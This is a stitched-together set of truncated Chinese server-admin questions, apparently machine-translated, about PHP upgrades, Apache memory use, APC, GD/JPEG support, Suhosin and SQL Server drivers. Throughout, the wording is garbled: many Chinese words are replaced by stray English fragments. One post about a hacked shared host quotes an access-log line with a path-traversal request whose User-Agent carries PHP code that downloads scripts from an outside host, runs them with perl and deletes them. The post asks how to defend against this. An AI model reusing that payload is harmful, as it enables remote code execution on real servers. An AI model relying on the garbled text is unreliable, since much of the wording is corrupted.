我正在将几台服务器从PHP 5.1.6升级到PHP 5.3.x,但是,我们托pipe了一些旧的网站,这些网站在修复应用程序代码时会很费时间。 正如我所看到的,有两个解决scheme: 将旧网站粘贴在单独的兼容服务器上 使最小(向后不兼容)的修复程序,并closures错误报告 修复应用程序代码中所有向后不兼容和弃用的function 后面两个选项是不可取的,因为这将是非常耗时的 – 记住,没有unit testing等。 前者将是额外的费用,因为我们必须支付和pipe理一个额外的盒子。 有没有其他的select,你可能会build议尝试,或者你的经验是pipe理遗留网站的最佳解决scheme? 干杯
我有Ubuntu 9.10专用服务器(无法pipe理),并在几周前开始死亡。 在我请求硬件检查之前,我想确认在服务器上没有发生某种types的软件问题。 服务器是非托pipe的,所以我需要自己做所有事情。 服务器托pipe几个WP站点和一个VBulettin论坛。 这是我的PHP信息http://pastebin.com/hSQVQBMR 服务器已经*完美地工作了大约一年,同时,没有一次重新启动,现在它开始突然挂起。 当我们网上的访客人数最多时,它总是发生在大约同一时间(中央时间凌晨4-6点)。 但奇怪的是,这从来没有发生过,它工作了一年或更长时间。 所以我的问题是 – 如何调查? 我从第一天就开始build立仙人掌 – 并没有什么不寻常的活动。更进一步,它每次挂起它发生在负载的下坡和mysql查询聊天(和所有其他负载相关的图表) 我没有的是sockets图表的数量,但我今天补充说。 最让我担心的是每次我要求重启(aprox在过去7天中的4次)支持的人告诉我,他正在黑屏 (所以我猜这不是负载的情况下〜50) 我应该看什么日志文件? 我应该查找哪些文件中的条目?
我编译自己的PHP,部分是为了了解更多关于如何将PHP放在一起,部分是因为我总是发现我需要默认情况下不可用的模块,这样我就可以控制它。 我的问题是,我不能在PHP中获得JPEG支持。 使用CentOS 5.6。 编译PHP 5.3.8时,以下是我的configuration选项: './configure' '–enable-fpm' '–enable-mbstring' '–with-mysql' '–with-mysqli' '–with-gd' '–with-curl' '–with-mcrypt' '–with-zlib' '–with-pear' '–with-gmp' '–with-xsl' '–enable-zip' '–disable-fileinfo' '–with-jpeg-dir=/usr/lib/' ./configure输出说: checking for GD support… yes checking for the location of libjpeg… no checking for the location of libpng… no checking for the location of libXpm… no 然后我们可以看到GD被安装了,但是那个JPEG支持不存在: # php -r 'print_r(gd_info());' Array ( […]
我在启用APCcaching时遇到问题。 这是我的configuration。 PHP 5.3.6 Apache 2.2.19 Windows 7 我已经从下面的URl下载了php_apc.dll: http : //downloads.php.net/pierre/php_apc-20110109-5.3-nts-vc9-x86.zip 我已经把这个DLL放在php的扩展文件夹中,并将下面的代码放在php.ini中 extension=php_apc.dll 接下来的任何事情都需要启用APCcaching? 因为当我把上面的行放在PHP.ini中,那么Apache不会重新启动。 任何帮助非常感谢。 编辑: [Tue Sep 06 14:22:28 2011] [notice] Parent: Received restart signal — Restarting the server. [Tue Sep 06 14:22:33 2011] [warn] NameVirtualHost *:80 has no VirtualHosts rocess is ending. [Tue Sep 06 14:22:29 2011] [notice] Child 4212: Released […]
我在共享主机服务器(heartinternet)上遭到攻击,他们说我应该正确configuration我自己的php.ini文件。 那么我有一个小的PHP / MySQL程序与注册function,一个小的pipe理网站,但有人入侵它。 configuration一个php.ini文件能够防止这样的攻击的一般方法是什么? 任何好的设置将非常感激。 这是我从networking主机提供者得到的: 121.254.216.170 – – [12/Sep/2011:05:21:07 +0100] "GET /?p=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 5806 "-" "<?php echo \"j13mb0t#\"; passthru('wget http://some.thesome.com/etc/byz.jpg? -O /tmp/cmd548;cd /tmp;lwp-download http ://some . thesome . com/etc/cup.txt;perl cup.txt;rm -rf *.txt*;wget http ://some . thesome . com/etc/update.txt;perl update.txt;rm -rf *.txt*'); echo \"#j13mb0t\"; ?>" 由于脚本注入本身攻击站点代码,因此能够完全避免Web服务器的安全性。 不幸的是,一些内容pipe理系统(特别是旧版本的Joomla)非常容易受到这种攻击。 删除攻击者使用这种方法的一个简单方法是在网站的顶层添加一个php.ini文件,内容如下 – 尽pipe如此,网站将需要testing,以确保没有合法的网站脚本操作已经受到这种变化的影响: php.ini指令是… allow_url_include = […]
我正在使用SimpleID作为我的OpenID提供程序,事实certificate,如果通过类似于StackExchange的页面login,则Suhosin将取消GET请求的参数之一。 variables的名称是s ,我认为它是负责login后的“返回URL”部分。 所有这些都不是问题,只要我已经从之前login过SimpleID。 但是,一旦我想通过OpenIDlogin的站点在SimpleID的login屏幕上结束,那么由于丢弃的variables,redirect回到我来自的站点不再工作了。 有没有一种方法可以在每个虚拟主机上或基于每个URL的基础上configuration,忽略参数s超过(全局)设置限制的GET请求的最大长度? 我使用的是Apache 2.2,所以我想知道是否有类似于从服务器configuration中设置PHP inivariables的机制存在于Suhosin中。
最近转移到新的服务器与CentOS 5.4和64位,而不是我们的旧的32位。 现在有了双处理器和更高的内存。 但是我意识到,apache一直在大量占用内存,有时会导致系统交换。 目前的设置在前面有Nginx 1.0.8来提供静态内容,Apache 2.2提供dynamic内容(PHP)。 我也安装了APC。 什么可能导致这种内存使用率高峰? 我尝试调整configuration文件的Apache,但它会工作,如果我把某些指令到一个荒谬的低数字。 在旧机器上之前,我可以使用默认设置,对于所有的apache进程,内存使用量不超过260MB: <IfModule prefork.c> StartServers 8 MinSpareServers 5 MaxSpareServers 20 ServerLimit 256 MaxClients 256 MaxRequestsPerChild 4000 </IfModule> 但现在新机器正在使用这个高内存使用率,它可以得到高达600MB +: <IfModule prefork.c> StartServers 5 MinSpareServers 5 MaxSpareServers 10 MaxClients 20 MaxRequestsPerChild 500 </IfModule> APC设置如下: extension = apc.so apc.enabled=1 apc.shm_segments=1 apc.optimization=0 apc.shm_size=64M apc.ttl=0 apc.user_ttl=7200 apc.num_files_hint=1024 apc.mmap_file_mask=/tmp/apc.XXXXXX apc.enable_cli=1 apc.cache_by_default=1 […]
我试图连接PHP 5.3.5到MS Sql Server 2005.我正在使用Windows XP SP3。 我启用了也在phpinfo()中显示的sqlsrv函数。 我也在php.ini扩展中做了一些修改,但是我一直在收到以下错误: “数据库连接errorArray([0] => Array([0] => IMSSP [SQLSTATE] => IMSSP [1] => -49 [code] => -49 [2] =>此扩展需要Microsoft SQL Server 2008本机客户端(SP1或更高版本)或Microsoft SQL Server 2008 R2本机客户端ODBC驱动程序与SQL Server进行通信,这两个ODBC驱动程序当前都没有安装,请访问以下URL以下载Microsoft SQL Server 2008 R2本机客户端ODBC x86驱动程序: http : //go.microsoft.com/fwlink/?LinkId = 163712 [message] =>此扩展需要Microsoft SQL Server 2008本机客户端(SP1或更高版本)或Microsoft SQL Server 2008 R2本机客户端ODBC驱动程序与SQL Server进行通信,当前没有安装这些ODBC驱动程序。访问以下URL以下载适用于x86的Microsoft SQL Server […]
我已经设置了一个由htaccess文件保护的phpmyadmin网站。 该网站也设置为强制SSL连接。 问题是,一切工作正常,在Firefox下,而不是其他浏览器(Opera,Chrome,Midori,…)此外,与其他浏览器,我没有得到任何错误消息,使用好或不好的login只刷新login页面。 Apache / php日志中也没有任何东西。 我真的不明白为什么这只适用于Firefox。 我使用的是Debian Squeeze的最新版本的phpmyadmin 3.4.7.1和最新版本。 试用Debian仓库中的phpmyadmin版本也会导致这个错误,并且清理浏览器的cookies,甚至卸载并重新安装浏览器也无济于事。 提前感谢任何帮助!
我一直在使用谷歌search,我能find的是,当你发布到HTML文件时,可能会发生这个错误。 在我的设置中,我有一个重写规则,它基本上隐藏了url中的index.php,我花了很长的时间认为它跟这个有关。 得到工作正常。 方法不允许 POST请求不允许用于URL / post.php 这是我的设置: Debian squeeze / AMD64 nginx version: nginx/1.1.8 PHP 5.3.3-7+squeeze3 with Suhosin-Patch (cli) (built: Jun 28 2011 08:24:40) Copyright (c) 1997-2009 The PHP Group Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies with Suhosin v0.9.32.1, Copyright (c) 2007-2010, by SektionEins GmbH